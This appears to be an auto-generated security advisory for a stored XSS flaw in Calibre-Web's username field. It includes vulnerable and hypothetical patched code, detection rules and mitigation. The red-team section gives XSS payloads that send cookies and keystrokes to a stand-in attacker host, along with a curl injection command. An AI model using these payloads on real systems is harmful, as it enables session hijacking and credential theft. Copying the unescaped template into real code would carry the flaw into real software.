CVE-2025-65858
Executive Summary
CVE-2025-65858 is a Stored Cross-Site Scripting (XSS) vulnerability in Calibre-Web v0.6.25. An attacker with user creation privileges can inject malicious JavaScript into the username field. This payload is stored unsanitized in the database and executed when an administrator or user accesses the /ajax/listusers endpoint. The vulnerability stems from insufficient input sanitization and output encoding. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk is elevated due to the public nature of the vulnerability and the lack of a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Calibre-Web is a Python-based web application. The vulnerability is in the application's own code, not in a third-party package. However, the lack of a patch means users must rely on manual mitigation or custom patches. The application is typically deployed via Docker or directly from source, making supply chain integrity critical. Users should verify the integrity of their Calibre-Web installation and monitor for any unofficial patches.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): Low (L) - An attacker needs a low-privileged account to create users.
- User Interaction (UI): Required (R) - The victim must access the
/ajax/listusersendpoint. - Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) - Limited data exposure possible.
- Integrity (I): Low (L) - Limited ability to modify data.
- Availability (A): None (N) - No impact on availability.
CVSS Score: 5.4 (Medium)
Threat Level: Medium. The vulnerability requires low privileges and user interaction, but the stored nature of the XSS makes it persistent and potentially impactful for internal network reconnaissance or session hijacking.
Deep Dive & Mechanics
The vulnerability exists in the user creation functionality of Calibre-Web v0.6.25. When a new user is created, the username field is not sanitized for HTML or JavaScript. The input is stored directly in the database. When the /ajax/listusers endpoint is accessed, the application retrieves the list of users and renders the usernames without proper output encoding. This allows any injected JavaScript to execute in the context of the victim's browser.
Root Cause: Lack of input validation and output encoding in the user creation and listing functions.
Attack Flow:
- Attacker logs in with low-privileged credentials.
- Attacker navigates to user creation page.
- Attacker injects a payload like
<script>alert('XSS')</script>into theusernamefield. - The payload is stored in the database.
- When an admin or any user visits
/ajax/listusers, the payload executes.
Impact:
- Session hijacking
- Phishing attacks
- Defacement
- Data exfiltration (e.g., CSRF tokens, cookies)
Vulnerable vs. Patched Code
Vulnerable Code (Calibre-Web v0.6.25):
# In the user creation handler (e.g., routes.py)
def create_user():
username = request.form.get('username')
# No sanitization
db.session.add(User(username=username))
db.session.commit()
<!-- In the template rendering /ajax/listusers -->
{% for user in users %}
<tr>
<td>{{ user.username }}</td> <!-- No escaping -->
</tr>
{% endfor %}
Patched Code (Hypothetical):
# In the user creation handler
import bleach
def create_user():
username = request.form.get('username')
sanitized_username = bleach.clean(username, tags=[], strip=True)
db.session.add(User(username=sanitized_username))
db.session.commit()
<!-- In the template rendering /ajax/listusers -->
{% for user in users %}
<tr>
<td>{{ user.username | e }}</td> <!-- Jinja2 autoescaping or explicit escape -->
</tr>
{% endfor %}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Calibre-Web v0.6.25 instance
- Low-privileged user account
Exploit Steps:
- Log in to Calibre-Web with a low-privileged account.
- Navigate to the user creation page (e.g.,
/admin/user/new). - Inject the following payload into the
usernamefield:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for an administrator to access
/ajax/listusers. - The payload executes, sending the admin's cookies to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Keylogger:
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
Blue Team
Detection:
- Monitor for unusual characters in the
usernamefield during user creation (e.g.,<,>,script). - Monitor
/ajax/listusersendpoint for unexpected outbound connections. - Use WAF rules to block XSS payloads in user creation requests.
Hunting:
- Search logs for user creation events with suspicious usernames.
- Check database for stored XSS payloads in the
usernamecolumn.
Lab Setup:
- Deploy Calibre-Web v0.6.25 using Docker:
docker run -d -p 8083:8083 --name calibre-web linuxserver/calibre-web:0.6.25 - Create a low-privileged user via the web interface.
- Use Burp Suite or curl to inject the XSS payload:
curl -X POST -d "username=<script>alert(1)</script>&password=test&confirm=test" http://localhost:8083/admin/user/new -c cookies.txt - Access
/ajax/listusersas an admin to trigger the payload.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains from the Calibre-Web server.
- Suspicious
Refererheaders pointing to/ajax/listusers.
- Host:
- Database entries in the
userstable with HTML/JavaScript in theusernamecolumn. - Log entries showing user creation with special characters.
- Database entries in the
- File:
- No specific file IOCs; the vulnerability is data-driven.
Example IOC Log Entry:
[2025-04-01 12:34:56] INFO User created: username='<script>alert(1)</script>', role='user'
Detection Engineering
YARA Rule
rule CVE_2025_65858_Stored_XSS_Username {
meta:
description = "Detects stored XSS payloads in Calibre-Web username fields"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-65858"
strings:
$xss_payload_1 = /<script[^>]*>.*<\/script>/i
$xss_payload_2 = /on\w+\s*=\s*['\"].*['\"]/i
$xss_payload_3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in Calibre-Web Username Field
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of users with XSS payloads in the username field
author: Valters IT
date: 2025-04-01
logsource:
category: application
product: calibre-web
detection:
selection:
event: User created
username|contains:
- '<script'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate usernames containing similar patterns (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65858 Stored XSS in Calibre-Web Username"; flow:to_server,established; content:"POST"; http_method; content:"/admin/user/new"; http_uri; content:"username="; nocase; pcre:"/username=.*<script.*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable user self-registration if not required.
- Restrict user creation privileges to trusted administrators only.
- Implement a WAF rule to block XSS payloads in the
usernamefield.
Long-term Fix:
- Apply input sanitization (e.g., using
bleachlibrary) to theusernamefield. - Enable Jinja2 autoescaping or explicitly escape output in templates.
- Upgrade to a patched version once available.
Workaround:
- Manually patch the code by adding
| eto the username output in the template and sanitizing input in the handler.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.